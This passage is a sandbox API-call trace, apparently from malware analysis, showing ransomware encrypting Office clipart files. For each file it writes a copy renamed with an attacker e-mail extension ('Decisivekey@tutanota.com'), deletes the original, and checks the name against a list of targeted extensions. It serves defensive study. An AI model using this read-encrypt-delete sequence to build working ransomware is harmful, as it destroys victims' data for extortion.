lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.347] SetEndOfFile (hFile=0x210) returned 1 [0221.347] CloseHandle (hObject=0x210) returned 1 [0221.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0221.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0221.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0221.348] lstrlenW (lpString=".doc") returned 4 [0221.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.348] lstrlenW (lpString=".docx") returned 5 [0221.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.348] lstrlenW (lpString=".pdf") returned 4 [0221.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.348] lstrlenW (lpString=".xls") returned 4 [0221.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.348] lstrlenW (lpString=".xlsx") returned 5 [0221.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.348] lstrlenW (lpString=".ppt") returned 4 [0221.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0221.348] lstrlenW (lpString=".zip") returned 4 [0221.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.348] lstrlenW (lpString=".rar") returned 4 [0221.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.348] lstrlenW (lpString=".bz2") returned 4 [0221.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.348] lstrlenW (lpString=".7z") returned 3 [0221.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0221.348] lstrlenW (lpString=".dbf") returned 4 [0221.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0221.348] lstrlenW (lpString=".1cd") returned 4 [0221.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0221.348] lstrlenW (lpString=".jpg") returned 4 [0221.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.349] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=896) returned 1 [0221.349] CloseHandle (hObject=0x210) returned 1 [0221.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20 [0221.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0221.349] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.349] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.350] GetLastError () returned 0x0 [0221.350] ReadFile (in: hFile=0x210, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x380, lpOverlapped=0x0) returned 1 [0221.367] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x390, lpOverlapped=0x0) returned 1 [0221.367] ReadFile (in: hFile=0x210, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.367] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.367] SetEndOfFile (hFile=0x1f8) returned 1 [0221.367] CloseHandle (hObject=0x1f8) returned 1 [0221.368] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.368] SetEndOfFile (hFile=0x210) returned 1 [0221.368] CloseHandle (hObject=0x210) returned 1 [0221.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0221.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0221.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0221.369] lstrlenW (lpString=".doc") returned 4 [0221.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.369] lstrlenW (lpString=".docx") returned 5 [0221.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.369] lstrlenW (lpString=".pdf") returned 4 [0221.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.369] lstrlenW (lpString=".xls") returned 4 [0221.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.369] lstrlenW (lpString=".xlsx") returned 5 [0221.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.369] lstrlenW (lpString=".ppt") returned 4 [0221.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0221.369] lstrlenW (lpString=".zip") returned 4 [0221.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.369] lstrlenW (lpString=".rar") returned 4 [0221.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.369] lstrlenW (lpString=".bz2") returned 4 [0221.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.369] lstrlenW (lpString=".7z") returned 3 [0221.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0221.369] lstrlenW (lpString=".dbf") returned 4 [0221.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0221.369] lstrlenW (lpString=".1cd") returned 4 [0221.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0221.369] lstrlenW (lpString=".jpg") returned 4 [0221.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.374] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=9010) returned 1 [0221.374] CloseHandle (hObject=0x180) returned 1 [0221.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20 [0221.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0221.374] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.374] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0221.375] GetLastError () returned 0x0 [0221.375] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x2332, lpOverlapped=0x0) returned 1 [0221.376] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x2340, lpOverlapped=0x0) returned 1 [0221.377] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.377] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.377] SetEndOfFile (hFile=0x208) returned 1 [0221.377] CloseHandle (hObject=0x208) returned 1 [0221.377] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.377] SetEndOfFile (hFile=0x180) returned 1 [0221.378] CloseHandle (hObject=0x180) returned 1 [0221.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0221.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0221.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0221.378] lstrlenW (lpString=".doc") returned 4 [0221.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.378] lstrlenW (lpString=".docx") returned 5 [0221.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.378] lstrlenW (lpString=".pdf") returned 4 [0221.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.378] lstrlenW (lpString=".xls") returned 4 [0221.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.378] lstrlenW (lpString=".xlsx") returned 5 [0221.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.378] lstrlenW (lpString=".ppt") returned 4 [0221.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0221.379] lstrlenW (lpString=".zip") returned 4 [0221.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.379] lstrlenW (lpString=".rar") returned 4 [0221.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.379] lstrlenW (lpString=".bz2") returned 4 [0221.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.379] lstrlenW (lpString=".7z") returned 3 [0221.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0221.379] lstrlenW (lpString=".dbf") returned 4 [0221.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0221.379] lstrlenW (lpString=".1cd") returned 4 [0221.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0221.379] lstrlenW (lpString=".jpg") returned 4 [0221.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.379] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=13968) returned 1 [0221.379] CloseHandle (hObject=0x180) returned 1 [0221.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x20 [0221.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0221.380] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.380] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0221.381] GetLastError () returned 0x0 [0221.381] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x3690, lpOverlapped=0x0) returned 1 [0221.399] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x36a0, lpOverlapped=0x0) returned 1 [0221.400] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.400] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.400] SetEndOfFile (hFile=0x208) returned 1 [0221.401] CloseHandle (hObject=0x208) returned 1 [0221.401] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.401] SetEndOfFile (hFile=0x180) returned 1 [0221.401] CloseHandle (hObject=0x180) returned 1 [0221.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0221.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0221.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0221.402] lstrlenW (lpString=".doc") returned 4 [0221.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.402] lstrlenW (lpString=".docx") returned 5 [0221.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.402] lstrlenW (lpString=".pdf") returned 4 [0221.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.402] lstrlenW (lpString=".xls") returned 4 [0221.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.402] lstrlenW (lpString=".xlsx") returned 5 [0221.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.402] lstrlenW (lpString=".ppt") returned 4 [0221.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0221.402] lstrlenW (lpString=".zip") returned 4 [0221.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.402] lstrlenW (lpString=".rar") returned 4 [0221.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.402] lstrlenW (lpString=".bz2") returned 4 [0221.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.402] lstrlenW (lpString=".7z") returned 3 [0221.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0221.402] lstrlenW (lpString=".dbf") returned 4 [0221.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0221.402] lstrlenW (lpString=".1cd") returned 4 [0221.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0221.402] lstrlenW (lpString=".jpg") returned 4 [0221.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.403] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=42704) returned 1 [0221.403] CloseHandle (hObject=0x180) returned 1 [0221.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20 [0221.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0221.403] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.403] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0221.403] GetLastError () returned 0x0 [0221.403] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xa6d0, lpOverlapped=0x0) returned 1 [0221.443] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xa6e0, lpOverlapped=0x0) returned 1 [0221.691] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.691] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.691] SetEndOfFile (hFile=0x208) returned 1 [0221.691] CloseHandle (hObject=0x208) returned 1 [0221.691] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.691] SetEndOfFile (hFile=0x180) returned 1 [0221.692] CloseHandle (hObject=0x180) returned 1 [0221.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0221.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0221.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0221.693] lstrlenW (lpString=".doc") returned 4 [0221.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.693] lstrlenW (lpString=".docx") returned 5 [0221.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.693] lstrlenW (lpString=".pdf") returned 4 [0221.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.693] lstrlenW (lpString=".xls") returned 4 [0221.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.693] lstrlenW (lpString=".xlsx") returned 5 [0221.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.693] lstrlenW (lpString=".ppt") returned 4 [0221.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0221.693] lstrlenW (lpString=".zip") returned 4 [0221.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.693] lstrlenW (lpString=".rar") returned 4 [0221.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.693] lstrlenW (lpString=".bz2") returned 4 [0221.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.693] lstrlenW (lpString=".7z") returned 3 [0221.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0221.693] lstrlenW (lpString=".dbf") returned 4 [0221.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0221.693] lstrlenW (lpString=".1cd") returned 4 [0221.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0221.693] lstrlenW (lpString=".jpg") returned 4 [0221.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.693] GetFileSizeEx (in: hFile=0x180, 